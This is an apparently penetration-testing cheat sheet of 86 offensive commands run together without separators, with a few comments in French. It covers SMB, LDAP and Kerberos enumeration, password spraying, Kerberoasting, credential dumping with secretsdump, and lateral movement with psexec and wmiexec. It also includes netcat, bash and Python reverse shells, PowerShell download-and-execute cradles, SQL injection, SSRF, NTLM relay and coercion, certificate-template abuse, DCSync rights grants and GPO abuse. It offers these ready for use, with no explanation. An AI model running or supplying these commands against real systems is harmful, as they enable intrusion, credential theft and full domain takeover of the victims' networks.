nmap -p 445 --script smb-enum-shares.nse --script-args smbuser=$USER,smbpass=$PASSWORD $TARGETnmap -p 445 --script smb-enum-sessions.nse --script-args smbuser=$USER,smbpass=$PASSWORD $TARGETnmap -p 445 --script smb-brute.nse --script-args userdb=users.txt,passdb=passwords.txt $TARGETsmbclient -L //$TARGET/ -U $USER%$PASSWORDsmbclient //$TARGET/SHARE_NAME -U $USER%$PASSWORDrpcclient -U "$DOMAIN\$USER%$PASSWORD" -c "enumdomusers" $TARGETrpcclient -U "$DOMAIN\$USER%$PASSWORD" -c "querydominfo" $TARGETldapsearch -x -h $TARGET -b "$BASE_DN" '(objectClass=*)'ldapsearch -x -h $TARGET -D "$DOMAIN\$USER" -w $PASSWORD -b "$BASE_DN" '(objectClass=user)' sAMAccountNameldapsearch -x -h $TARGET -D "$DOMAIN\$USER" -w $PASSWORD -b "$BASE_DN" '(objectClass=group)' cn./kerbrute userenum --dc $TARGET -d $DOMAIN users.txt./kerbrute passwordspray --dc $TARGET -d $DOMAIN users.txt '$PASSWORD'GetNPUsers.py $DOMAIN/$USER -no-pass -dc-ip $TARGET -requestGetUserSPNs.py -request -dc-ip $TARGET $DOMAIN/$USER:$PASSWORDsecretsdump.py $DOMAIN/$USER:$PASSWORD@$TARGETpsexec.py $DOMAIN/$USER:$PASSWORD@$TARGETsmbexec.py $DOMAIN/$USER:$PASSWORD@$TARGETwmiexec.py $DOMAIN/$USER:$PASSWORD@$TARGETSharpHound.exe -c All -d $DOMAIN --DomainController $TARGETnmap -sS -p- -T4 $TARGETnmap -sU --top-ports 200 -T4 $TARGETnmap -sV -sC $TARGETnmap --script http-enum -p 80,443 $TARGETnmap --script http-vuln* -p 80,443 $TARGETgobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtgobuster dns -d $DOMAIN -w /usr/share/wordlists/subdomains.txtgobuster vhost -u http://$TARGET/ -w /usr/share/wordlists/vhosts.txt -H "Host: FUZZ.$TARGET"nikto -h http://$TARGET/sqlmap -u "http://$TARGET/vuln_page.php?id=1" --batch --dbssqlmap -u "http://$TARGET/login.php" --data="user=test&pass=test&submit=login" --batch --dbsfind / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/nullgetcap -r / 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.*; for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; doneps aux; systemctl list-units --type=service --state=running; service --status-allnc -lvnp $PORTrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $YOUR_IP $PORT >/tmp/fbash -i >& /dev/tcp/$YOUR_IP/$PORT 0>&1python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$YOUR_IP",$PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'wget http://$YOUR_IP:$PORT/file -O /tmp/filecurl http://$YOUR_IP:$PORT/file -o /tmp/filepython3 -m http.server $PORTwget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh; chmod +x /tmp/LinEnum.sh; /tmp/LinEnum.sh -r report.txt -e /tmp/ -twget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh; chmod +x /tmp/linpeas.sh; /tmp/linpeas.sh -acrackmapexec smb $TARGET -u $USER -p $PASSWORD --sharescrackmapexec smb $TARGET -u $USER -p $PASSWORD --sessionscrackmapexec smb $TARGET -u $USER -p $PASSWORD -x "whoami"crackmapexec smb $TARGET -u $USER -p $PASSWORD --samcrackmapexec smb $TARGET_RANGE -u users.txt -p '$PASSWORD'crackmapexec ldap $TARGET -u $USER -p $PASSWORD --userscrackmapexec ldap $TARGET -u $USER -p $PASSWORD --groupsevil-winrm -i $TARGET -u $USER -p $PASSWORDhashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt shadow.txtresponder -I eth0 -vntlmrelayx.py -tf targets.txt -smbsupport -c "whoami"dnsrecon -d $DOMAIN -t std,srv,axfr,zonewalkenum4linux-ng.py $TARGET -A -U -S -P -G -oA enum_resultssearchsploit <terme_recherche>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://$YOUR_IP:$PORT/script.ps1')"powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress $YOUR_IP -Port $PORT"./chisel server -p $LISTEN_PORT --reverse &; ./chisel client $SERVER_IP:$LISTEN_PORT R:$REMOTE_PORT:$TARGET_SERVICE_IP:$TARGET_SERVICE_PORTcertipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET -stdout -vulnerablecertipy req -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET -ca '$CA_NAME' -template '$TEMPLATE_NAME' -upn $ADMIN_USER@$DOMAINcertipy auth -pfx cert.pfx -dc-ip $TARGET -username $FORGED_USER -domain $DOMAINpython coercer.py -u $USER -p $PASSWORD -d $DOMAIN -th $TARGET_DC -l $YOUR_LISTENER_IPpython PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $YOUR_LISTENER_IP $TARGET_DCnuclei -u http://$TARGET -t ~/nuclei-templates/cves/wappalyzer http://$TARGETcurl http://$TARGET/../../../../etc/passwdcurl -X POST -d 'url=http://169.254.169.254/latest/meta-data/' http://$TARGET/proxy?url=gopherus --exploit mysql "$USER:$PASSWORD@tcp($INTERNAL_DB_IP:3306)/$DB_NAME" "SELECT @@version;"Set-ADAccountPassword -Identity $TARGET_USER -NewPassword $(ConvertTo-SecureString -String '$NEW_PASSWORD' -AsPlainText -Force) -Reset -Server $DOMAIN_CONTROLLERrpcclient -U "$DOMAIN\$ATTACKER_USER%$ATTACKER_PASSWORD" -c "setuserinfo2 \"$TARGET_USER\" 24 \"$NEW_PASSWORD\"" $DOMAIN_CONTROLLER_IPAdd-ADGroupMember -Identity "$TARGET_GROUP" -Members "$USER_TO_ADD" -Server $DOMAIN_CONTROLLERnet group "$TARGET_GROUP_NAME" "$USER_TO_ADD" /add /domain$TargetUser = Get-ADUser -Identity $TARGET_USER_FOR_DCSYNC; $ACL = Get-Acl -Path "AD:$($TargetUser.DistinguishedName)"; $SID = [System.Security.Principal.SecurityIdentifier] "S-1-5-32-544"; $ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID, "Replicating Directory Changes", "Allow"; $ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID, "Replicating Directory Changes All", "Allow"; $ACL.AddAccessRule($ACE1); $ACL.AddAccessRule($ACE2); Set-Acl -Path "AD:$($TargetUser.DistinguishedName)" -AclObject $ACL$TargetObject = Get-ADUser -Identity '$TARGET_USER_ON_WHICH_YOU_HAVE_WRITEDACL'; $UserSID = [System.Security.Principal.NTAccount]'$DOMAIN\$YOUR_CONTROLLED_USER').Translate([System.Security.Principal.SecurityIdentifier]); $ACL = Get-Acl AD:'$($TargetObject.DistinguishedName)'; $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $UserSID, 'GenericAll', 'Allow'; $ACL.AddAccessRule($ACE); Set-Acl -AclObject $ACL -Path AD:'$($TargetObject.DistinguishedName)'rbcd.py -action write -delegate-to $ATTACKER_COMPUTER_NAME\$ -target-spn HOST/$VICTIM_COMPUTER_NAME -dc-ip $DOMAIN_CONTROLLER_IP '$DOMAIN/$USER_WITH_WRITE_PRIVS:$PASSWORD'certipy account create -u '$USER_WITH_GENERICALL_ON_COMPUTER$'@'$DOMAIN' -p '$PASSWORD' -account '$TARGET_COMPUTER_NAME$' -dc-ip $DOMAIN_CONTROLLER_IP -vulnerable -stdout # Puis certipy auth ...Set-Owner.ps1 -TargetSamAccountName $TARGET_OBJECT_SAMNAME -NewOwnerSamAccountName $YOUR_CONTROLLED_USER_SAMNAME; # Ensuite, utiliser Set-ACL pour se donner GenericAllSharpGPOAbuse.exe --AddUserToLocalGroup --UserAccount $YOUR_USER --Group "Administrators" --GPOName "$TARGET_GPO_NAME" --Domain $DOMAIN# PowerShell complexe pour créer/modifier une tâche planifiée immédiate via GPO. Exemple: New-GPOImmediateTask -TaskName "Pwn" -GPODisplayName "$TARGET_GPO_NAME" -Command "cmd.exe" -Arguments "/c script.bat" -Author $DOMAIN\$USERsecretsdump.py -just-dc-user $DOMAIN\$USER_WITH_DCSYNC_RIGHTS@$DOMAIN_CONTROLLER_IP $TARGET_USER_TO_DUMPAdd-ADGroupMember -Identity '$TARGET_GROUP_NAME' -Members '$YOUR_USER_ACCOUNT_WHO_HAS_THE_RIGHT'net rpc group addmem "$TARGET_GROUP" "$TARGET_USER_TO_ADD" -U "$DOMAIN\$CONTROLLED_USER%$PASSWORD" -S "$DOMAIN_CONTROLLER"nxc ldap $TARGET -u '$USER' -p '$PASSWORD' --bloodhound -c All --dns-server $TARGETSecurity Research Cheat Sheet - 86 commands available